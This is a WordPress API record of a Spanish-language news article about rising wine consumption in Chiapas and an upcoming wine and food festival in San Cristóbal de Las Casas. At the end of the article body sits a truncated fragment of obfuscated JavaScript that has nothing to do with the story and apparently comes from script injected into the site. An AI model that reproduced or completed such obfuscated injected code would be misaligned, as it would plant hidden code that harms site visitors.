{"id":5437,"date":"2022-09-27T02:38:19","date_gmt":"2022-09-27T02:38:19","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=5437"},"modified":"2022-09-27T02:38:20","modified_gmt":"2022-09-27T02:38:20","slug":"en-chiapas-se-consume-poco-vino","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=5437","title":{"rendered":"En Chiapas se consume poco vino"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/09\/IMG-20220926-WA0174-1024x768.jpg\" alt=\"\" class=\"wp-image-5438\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/09\/IMG-20220926-WA0174-1024x768.jpg 1024w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/09\/IMG-20220926-WA0174-300x225.jpg 300w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/09\/IMG-20220926-WA0174-768x576.jpg 768w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/09\/IMG-20220926-WA0174.jpg 1040w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u00d3scar G\u00f3mez\/ Corresponsal&nbsp;<\/p>\n\n\n\n<p>San Crist\u00f3bal de Las Casas.- El sommelier Jos\u00e9 Hip\u00f3lito Ruiz Molina dio a conocer que en 5 a\u00f1os el consumo per c\u00e1pita de vino ha incrementado considerablemente, pasando de 150 mililitros a una botella de aproximadamente un litro, esto debido a que adem\u00e1s de estar de moda, es una bebida bastante saludable.<\/p>\n\n\n\n<p>\u201cYa tenemos un consumo per c\u00e1pita en Chiapas de al menos una botella al a\u00f1o, pareciera poco pero ya es bastante, hace 5 a\u00f1os est\u00e1bamos hablando de una compa o 150 mililitros la demanda ya ha crecido porque es una bebida de moda, es muy saludable y ya se est\u00e1 entendiendo por la comunidad chiapaneca por estos beneficios que da la bebida\u201d, dijo.<\/p>\n\n\n\n<p>Durante la presentaci\u00f3n oficial del Festival Wine &amp; Food 2022, coment\u00f3 que ya hay buenas etiquetas, aunque normalmente se maneja vinos j\u00f3venes b\u00e1sicos, \u201cpero tenemos empresas de vin\u00edcolas de Baja California Sur, de Quer\u00e9taro que se pueden encontrar en los restaurantes de la ciudad\u201d.<\/p>\n\n\n\n<p>\u201cRealmente manejamos vinos de todo el mundo, pero es el joven, el sencillo de beber el que m\u00e1s se vende, hablo de vinos de 300 pesos en promedio, en un evento social en San Crist\u00f3bal hace unos a\u00f1os se utilizaba una sidra hoy en d\u00eda se lleva un vino espumoso.<\/p>\n\n\n\n<p>Asimismo, dijo que a partir de la primera edici\u00f3n del Festival les ha llegado demasiada demanda de otros estados y en esta ocasi\u00f3n esperan la presencia de personas de Villahermosa, Canc\u00fan, Campeche, y de municipios como Tapachula, Tuxtla, Comit\u00e1n.<\/p>\n\n\n\n<p>\u201cEl evento gust\u00f3 mucho el a\u00f1o pasado por este tipo de actividades, tuvimos un aforo de aproximadamente 700 personas, ahora esperamos mil\u201d.<\/p>\n\n\n\n<p>Finalmente, sobre las bebidas de productores locales basados en frutas fermentadas, opin\u00f3 que toda bebida de baja o alta graduaci\u00f3n tiene su calidad aunque sean bebidas que les denominen vino, pero no es de uva, \u201cquiz\u00e1 el nombre est\u00e1 equivocado pero la calidad est\u00e1 garantizada, son licores de frutas y de diferentes sabores, no son vinos de mesa como tal pero son buenos\u201d.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>\u00d3scar G\u00f3mez\/ Corresponsal&nbsp; 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